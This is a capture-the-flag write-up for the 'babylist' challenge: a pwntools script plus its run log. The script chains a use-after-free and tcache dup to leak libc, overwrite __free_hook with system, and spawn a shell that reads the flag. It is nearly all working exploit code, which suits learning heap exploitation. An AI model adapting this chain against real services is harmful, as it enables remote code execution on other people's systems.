Tags: uaf tcache-poisoning tcache-dup 

Rating: 3.0

from pwn import *
import ctypes

r = remote("challenges.fbctf.com",1343)
libc = ELF("./libc-2.27.so")
def create_list(name):
    log.info("CREATING LIST")
    r.sendlineafter(">","1")
    r.sendlineafter("Enter name for list:",name)

def add_elem(idx, val):
    #log.info("ADDING ELEMT @ "+hex(idx)+" -> "+hex(val) )
    r.sendlineafter(">","2")
    r.sendlineafter("Enter index of list:",str(idx))
    r.sendlineafter("Enter number to add:",str(val))

def view_elem(idx, elem_idx):
    r.sendlineafter(">","3")
    r.sendlineafter("Enter index of list:",str(idx))
    r.sendlineafter("Enter index into list:",str(elem_idx))
    r.recvuntil("= ")
    return int(r.recvline().rstrip(),10)

def dup_list(idx, name):
    log.info("DUPPING LIST "+hex(idx))
    r.sendlineafter(">","4")
    r.sendlineafter("Enter index of list:",str(idx))
    r.sendlineafter("Enter name for new list:",name)

def del_list(idx):
    log.info("DELETING LIST "+hex(idx))
    r.sendlineafter(">","5")
    r.sendlineafter("Enter index of list:",str(idx))



create_list("AAAA")
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)

dup_list(0,"BBBB")
dup_list(0,"CCCC")

add_elem(0, 0)


create_list("AAAA")



heap_leak = view_elem(1,0)
heap_leak += (view_elem(1,1) * 0x100000000)

log.success("HEAP LEAK @ "+hex(heap_leak))
del_list(0)
del_list(1)
del_list(2)
del_list(3)
prg = log.progress("FILLING TCACHE")
create_list("ZZZZ")
TCACHE_LIMIT = 0x800
SIZEOF_INT = 4

for i in range(6):
    create_list("FILL") # idx 6 max

for i in range(0x70/4):
    add_elem(0,1) # create 0x90 chunk

dup_list(0, "XXXX") # idx 7


for i in range(0x30/4):
    add_elem(0,1)

create_list("LEAK") # 8
del_list(0)
del_list(1)
del_list(2)
del_list(3)
del_list(4)
del_list(5)
del_list(6)
del_list(8)


#for i in range(TCACHE_LIMIT/SIZEOF_INT): # ANOTHER WAY TO GET LIBC LEAK -- TOO SLOW, REQUIRES 512 ELEMENTS TO BE ADDED
#   add_elem(0,0)
#   prg.status("["+str(i)+"/"+str(TCACHE_LIMIT/SIZEOF_INT)+"] ALLOCATED")

#for i in range(LIMIT):
#   prg.status("["+str(i)+"/"+str(LIMIT)+"] FREED")
#   del_list(LIMIT - 1 - i)

#for i in range(LIMIT-1):
#   add_elem(i,0)
    #prg.status("["+str(i)+"/"+str(LIMIT)+"] ALLOCATED")

prg.success("DONE")


elem1 = ctypes.c_uint32(view_elem(7,0)).value
elem2 = view_elem(7,1)
#print hex(elem1)
#print hex(elem2)

arena_leak = elem1 + (elem2* 0x100000000)
base = arena_leak - 0x1bfca0 - 0x25000 - 0x207000
free_hook = libc.symbols["__free_hook"] + base
log.success("ARENA LEAK @ "+hex(arena_leak))
log.success("LIBC BASE  @ "+hex(base))
log.success("FREE HOOK  @ "+hex(free_hook))


log.info("CLEARING THE LISTS")
del_list(7)

hi_part = (free_hook & 0xffffffff00000000) / 0x100000000
low_part  = free_hook & 0x00000000ffffffff

prg = log.progress("TCACHE DUP WEWWW")

create_list("AAAA")
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)
add_elem(0, 0)

dup_list(0, "AAAA")
dup_list(0, "AAAA")


add_elem(2,0)  # DUP 
add_elem(0,0)  # DUP 



prg.success("DUPPED!")


create_list("AAAA") # current list is 4
add_elem(3, low_part)
add_elem(3, hi_part)
add_elem(3, 0x22222222)
add_elem(3, 0x22222222)
add_elem(3, 0x11111111)


create_list("AAAA")
create_list("AAAA")
add_elem(4, 0x2f62696e)
add_elem(4, 0x2f7368)
add_elem(4, 0)
add_elem(4, 0)
add_elem(4, 0)

one_gadget = base + libc.symbols["system"]
hi_part = (one_gadget & 0xffffffff00000000) / 0x100000000
low_part  = one_gadget & 0x00000000ffffffff

add_elem(5, low_part)
add_elem(5, hi_part)
add_elem(5, 0)
add_elem(5, 0)

add_elem(5, 0)


create_list("PWN")
create_list("PWN2")
add_elem(7,26739)
add_elem(7,26739)
r.interactive()

[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] DUPPING LIST 0x0
[*] CREATING LIST
[+] HEAP LEAK @ 0x5629c668ef20
[*] DELETING LIST 0x0
[*] DELETING LIST 0x1
[*] DELETING LIST 0x2
[*] DELETING LIST 0x3
[+] FILLING TCACHE: DONE
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] CREATING LIST
[*] DELETING LIST 0x0
[*] DELETING LIST 0x1
[*] DELETING LIST 0x2
[*] DELETING LIST 0x3
[*] DELETING LIST 0x4
[*] DELETING LIST 0x5
[*] DELETING LIST 0x6
[*] DELETING LIST 0x8
[+] ARENA LEAK @ 0x7f315c1f3ca0
[+] LIBC BASE  @ 0x7f315be08000
[+] FREE HOOK  @ 0x7f315c1f58e8
[*] CLEARING THE LISTS
[*] DELETING LIST 0x7
[+] TCACHE DUP WEWWW: DUPPED!
[*] CREATING LIST
[*] DUPPING LIST 0x0
[*] DUPPING LIST 0x0
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] CREATING LIST
[*] Switching to interactive mode

Timeout
$ 
$ id
uid=1000(babylist) gid=1000(babylist) groups=1000(babylist)
$ cat /home/babylist/flag
fb{b3773r_n07_m1x_c_4nd_cpp!}
$